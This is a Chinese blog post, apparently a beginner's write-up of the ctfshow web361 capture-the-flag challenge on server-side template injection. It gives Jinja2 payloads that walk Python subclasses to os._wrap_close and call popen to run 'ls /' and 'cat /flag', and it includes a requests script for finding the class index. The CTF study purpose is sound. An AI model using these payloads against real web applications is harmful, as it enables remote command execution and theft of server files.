当前位置:网站首页>ctfshow-web361(SSTI)
ctfshow-web361(SSTI)
2022-04-23 18:29:00 【m0_62094846】

看到Hello,猜测输入的参数是name


?name={
{[].__class__.__base__.__subclasses__()}}
然后应该是要写脚本跑程序找需要的函数(用的别人的,现在还不会写python脚本)
这里利用os._wrap_close类
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://5e2ef65c-fcb3-4ca5-9502-acab1d21ebc8.challenge.ctf.show/?name={
{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132

然后开始运用
用__init__.__globals__查找popen(能查到就行,不需要位置)
__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量

所以 __init__.__globals__应该就是要调用全局变量
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}

这里应该就是调用全局变量中的popen
os.popen() 方法用于从一个命令打开一个管道。(具体的不是很理解,大概应该就是可以使用命令的意思)
popen方法通过p.read()获取终端输出
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

对于借助 open() 函数,并以可读模式(包括 r、r+、rb、rb+)打开的文件,可以调用 read() 函数逐个字节(或者逐个字符)读取文件中的内容。 (可能popen借助了open()函数,不是很清楚)
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

大概能看懂,知道为什么,但是不会用
版权声明
本文为[m0_62094846]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_62094846/article/details/124347670
边栏推荐
- C language to achieve 2048 small game direction merging logic
- Qt读写XML文件(含源码+注释)
- Analysez l'objet promise avec le noyau dur (Connaissez - vous les sept API communes obligatoires et les sept questions clés?)
- 【ACM】509. 斐波那契数(dp五部曲)
- The vivado project corresponding to the board is generated by TCL script
- Connection mode of QT signal and slot connect() and the return value of emit
- After CANopen starts PDO timing transmission, the heartbeat frame time is wrong, PDO is delayed, and CANopen time axis is disordered
- Daily CISSP certification common mistakes (April 18, 2022)
- In shell programming, the shell file with relative path is referenced
- Halo open source project learning (VII): caching mechanism
猜你喜欢
![Resolve the error Max virtual memory areas VM max_ map_ count [65530] is too low, increase to at least [262144]](/img/5f/a80951777a0473fcaa685cd6a8e5dd.png)
Resolve the error Max virtual memory areas VM max_ map_ count [65530] is too low, increase to at least [262144]

Cygwin64 right click to add menu, and open cygwin64 here

Robocode tutorial 3 - Robo machine analysis

多功能工具箱微信小程序源码

Stm32mp157 wm8960 audio driver debugging notes

STM32学习记录0008——GPIO那些事1

【ACM】376. 摆动序列

Vulnérabilité d'exécution de la commande de fond du panneau de commande JD - freefuck

MATLAB小技巧(6)七种滤波方法比较

【数学建模】—— 层次分析法(AHP)
随机推荐
STM32学习记录0008——GPIO那些事1
Daily network security certification test questions (April 14, 2022)
Queue solving Joseph problem
QT add external font ttf
CANopen usage method and main parameters of object dictionary
Halo open source project learning (VII): caching mechanism
Stm32mp157 wm8960 audio driver debugging notes
Setting up keil environment of GD single chip microcomputer
Daily CISSP certification common mistakes (April 13, 2022)
Software test summary
Correct opening method of option
【ACM】70. 爬楼梯
How to restore MySQL database after win10 system is reinstalled (mysql-8.0.26-winx64. Zip)
JD-FreeFuck 京東薅羊毛控制面板 後臺命令執行漏洞
Docker installation MySQL
Quantexa CDI(场景决策智能)Syneo平台介绍
QT curve / oscilloscope customplot control
Test questions of daily safety network (February 2024)
Ucosiii transplantation and use, reference punctual atom
Serialization scheme of serde - trust